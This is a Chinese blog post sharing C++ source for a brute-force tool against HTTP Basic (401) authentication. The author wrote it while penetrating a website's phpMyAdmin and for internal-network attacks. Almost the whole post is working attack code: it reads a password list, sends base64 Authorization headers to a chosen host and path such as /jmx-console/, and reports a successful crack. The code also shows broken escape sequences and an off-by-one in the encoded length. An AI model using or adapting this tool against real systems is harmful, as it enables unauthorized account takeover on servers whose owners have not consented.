zoukankan      html  css  js  c++  java
  • 401认证爆破工具

    最近在渗透一个网站,几个PHPMYADMIN用的都是401认证,于是就想自己写一个把,反正在内网也要用到的。

    代码写的很渣渣,如果大家在使用中有什么问题,可以告诉我,我来改正。

    // Basic.cpp : Defines the entry point for the console application.
    //
    
    #include "stdafx.h"
    #include <Windows.h>
    #include <stdio.h>
    #include <iostream>
    #include "Basic.h"
    #include <winhttp.h>
    #include <comdef.h>
    #pragma comment (lib,"Winhttp.lib")
    
    const char base[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";  
    char* base64_encode(const char* data, int data_len);
    
    char *base64_encode(char* data, int data_len)    //base64_encode function
    {   
    	//int data_len = strlen(data);   
    	int prepare = 0;   
    	int ret_len;   
    	int temp = 0;   
    	char *ret = NULL;   
    	char *f = NULL;   
    	int tmp = 0;   
    	char changed[4];   
    	int i = 0;   
    	ret_len = data_len / 3;   
    	temp = data_len % 3;   
    	if (temp > 0)   
    	{   
    		ret_len += 1;   
    	}   
    	ret_len = ret_len*4 + 1;   
    	ret = (char *)malloc(ret_len);   
    
    	if ( ret == NULL)   
    	{   
    		printf("No enough memory.
    ");   
    		exit(0);   
    	}   
    	memset(ret, 0, ret_len);   
    	f = ret;   
    	while (tmp < data_len)   
    	{   
    		temp = 0;   
    		prepare = 0;   
    		memset(changed, '', 4);   
    		while (temp < 3)   
    		{   
    			//printf("tmp = %d
    ", tmp);   
    			if (tmp >= data_len)   
    			{   
    				break;   
    			}   
    			prepare = ((prepare << 8) | (data[tmp] & 0xFF));   
    			tmp++;   
    			temp++;   
    		}   
    		prepare = (prepare<<((3-temp)*8));   
    		//printf("before for : temp = %d, prepare = %d
    ", temp, prepare);   
    		for (i = 0; i < 4 ;i++ )   
    		{   
    			if (temp < i)   
    			{   
    				changed[i] = 0x40;   
    			}   
    			else   
    			{   
    				changed[i] = (prepare>>((3-i)*6)) & 0x3F;   
    			}   
    			*f = base[changed[i]];   
    			//printf("%.2X", changed[i]);   
    			f++;   
    		}   
    	}   
    	*f = '';   
    
    	return ret;   
    
    } 
    
    static char find_pos(char ch)     
    {   
    	char *ptr = (char*)strrchr(base, ch);//the last position (the only) in base[]   
    	return (ptr - base);   
    }  
    
    int request_http(wchar_t* Host, int Port,wchar_t* HostPath,wchar_t* Send_result) //send_http function
    {
        DWORD dwSize = sizeof(DWORD);
        DWORD dwStatusCode = 0;
        BOOL  bResults = FALSE;
        HINTERNET hSession = NULL,
        hConnect = NULL,
        hRequest = NULL;
    	 wchar_t* lpOutBuffer = NULL;
    	LPSTR pszOutBuffer;
    	DWORD dwDownloaded = 0;
        // Use WinHttpOpen to obtain a session handle.
    
    		hSession = WinHttpOpen(L"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36", 
    			WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
    			WINHTTP_NO_PROXY_NAME, 
    			WINHTTP_NO_PROXY_BYPASS,
    			0 );
    
    		// Specify an HTTP server.
    		if( hSession )
    			hConnect = WinHttpConnect( hSession,
    			Host,
    			Port,
    			0 );
    
    		// Create an HTTP Request handle.
    		if( hConnect )
    			hRequest = WinHttpOpenRequest( hConnect,
    			L"GET",HostPath,  // /invoker/JMXInvokerServlet
    			NULL,
    			WINHTTP_NO_REFERER, 
    			WINHTTP_DEFAULT_ACCEPT_TYPES,
    			0 );
    		// Add a request header.
    		if( hRequest )
    			bResults = WinHttpAddRequestHeaders( hRequest,
    			//L"Authorization:Basic YWRtaW46YWztaW4="
    			Send_result
    			,(ULONG)-1L,WINHTTP_ADDREQ_FLAG_ADD );
    
    		bResults = WinHttpAddRequestHeaders( hRequest, 
    			L"Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",(ULONG)-1L,WINHTTP_ADDREQ_FLAG_ADD );
    
    		if( bResults ) 
    			bResults = WinHttpSendRequest( hRequest, 
    			WINHTTP_NO_ADDITIONAL_HEADERS,
    			0,
    			NULL,0,
    			NULL,
    			0 );
    
    		// Report any errors.
    		if( bResults )
    			bResults = WinHttpReceiveResponse( hRequest, NULL );
    
    		if (bResults)
    		{
    			Sleep(100);
    			WinHttpQueryHeaders( hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF,
    				WINHTTP_HEADER_NAME_BY_INDEX, NULL,
    				&dwSize, WINHTTP_NO_HEADER_INDEX);
    
    			// Allocate memory for the buffer.
    			if( GetLastError( ) == ERROR_INSUFFICIENT_BUFFER )
    			{
    				lpOutBuffer = new WCHAR[dwSize/sizeof(WCHAR)];
    
    				// Now, use WinHttpQueryHeaders to retrieve the header.
    				bResults = WinHttpQueryHeaders( hRequest,
    					WINHTTP_QUERY_RAW_HEADERS_CRLF,
    					WINHTTP_HEADER_NAME_BY_INDEX,lpOutBuffer, &dwSize,
    					WINHTTP_NO_HEADER_INDEX);
    			}
    		}
    
    		if (bResults)
    		{
    			wchar_t* Servers;
    			Servers = wcsstr(lpOutBuffer,L"HTTP/1.1 200");
    			if (Servers != NULL)
    			{
    				printf("Password Crack susccessful
    ");
    				exit(0);
    			}
    			//delete[] lpOutBuffer;
    		}
    /*
    		if( bResults )
    		{
    			do 
    			{
    				// Check for available data.
    				dwSize = 0;
    				if( !WinHttpQueryDataAvailable( hRequest, &dwSize ) )
    					printf( "Error %u in WinHttpQueryDataAvailable.
    ",
    					GetLastError( ) );
    
    				// Allocate space for the buffer.
    				pszOutBuffer = new char[dwSize+1];
    				if( !pszOutBuffer )
    				{
    					printf( "Out of memory
    " );
    					dwSize=0;
    				}
    				else
    				{
    					// Read the data.
    					ZeroMemory( pszOutBuffer, dwSize+1 );
    
    					if( !WinHttpReadData( hRequest, (LPVOID)pszOutBuffer, 
    						dwSize, &dwDownloaded ) )
    						printf( "Error %u in WinHttpReadData.
    ", GetLastError( ) );
    					else
    						//printf("xxxx");
    						printf( "%s", pszOutBuffer );
    
    					// Free the memory allocated to the buffer.
    					delete [] pszOutBuffer;
    				}
    			} while( dwSize > 0 );
    		}
    */
    
    		// Report any errors.
    		if( !bResults )
    			printf( "Error %d has occurred.
    ", GetLastError( ) );
    
    		// Close open handles.
    		if( hRequest ) WinHttpCloseHandle( hRequest );
    		if( hConnect ) WinHttpCloseHandle( hConnect );
    		if( hSession ) WinHttpCloseHandle( hSession );
    		return 0;
    }
    
    
    
    int main(int argc,char* argv[])
    {
    
    	if (argc < 5)
    	{
    		printf("[-]:Usage %s Crack Basic authentication T00ls
    ",argv[0]);
    		printf("[-]:Usage %s 1.0.0.1 8080 /jmx-console/ Admin
    ",argv[0]);
    		printf("[-]:Usage %s Warning:Not supported by HTTPS
    ",argv[0]);
    		return 0;
    	}
    
    	char input[255] = {0}; //input base64 string
    	char* strings; //output base64encode string
    	char buffer[MAX_PATH] = {0};
    	wchar_t Send_result[1024] = {0};
    	int i = 0;
    	
    	wchar_t Hostname[40] = {0};
    	wchar_t HostPath[100] = {0};
    	wsprintf(Hostname,L"%S",argv[1]);
    	//printf("Hostname = %S",Hostname);
    
    	int port = atoi(argv[2]);
    	wsprintf(HostPath,L"%S",argv[3]);
    
    	char *Username = argv[4];
    
    	FILE* fp = fopen("pass.txt","rb"); //fopen filesName
    	if (fp == NULL)
    	{
    		printf("Read files:pass.txt Error :%d
    ",GetLastError());
    		return 0;
    	}
    
    	memset(buffer,0,sizeof(MAX_PATH));
    	while ((fgets(buffer,MAX_PATH,fp)))
    	{
    		//buffer[strlen(buffer) - 1] = '';
    // 		if (buffer[strlen(buffer) - 1] = '
    ')
    // 		{
    // 			buffer[strlen(buffer) - 1] = '';
    // 		}
    		int slen = 0;
    		slen = strlen(buffer);
    		if (buffer[slen -1] == '
    ')
    		{
    			buffer[slen -1] = '';
    		}
    		ZeroMemory(input,sizeof(input));
    		sprintf(input,"%s:%s",Username,buffer);
    		strings = base64_encode(input,strlen(input)-1);
    		memset(Send_result,0,sizeof(Send_result));
    		//printf("%s
    ",strings);
    		wsprintfW(Send_result,L"Authorization:Basic %S",strings);
    		printf("Crack:%S->%d->%S->Password Line:%d->%s
    ",Hostname,port,HostPath,++i,input);
    		request_http(Hostname,port,HostPath,Send_result);
    	}
    	//free(strings);
    	fclose(fp);
    }
    

      

  • 相关阅读:
    缓存一致性问题
    缓存雪崩
    mysql Replication机制
    数据库水平切分、拆库拆表
    mysql分表和分区实际应用简介
    mysql中间件
    mysql基础知识
    go语言redis使用(redigo)
    nginx location配置与rewrite配置
    PDO驱动使用
  • 原文地址:https://www.cnblogs.com/killbit/p/4994460.html
Copyright © 2011-2022 走看看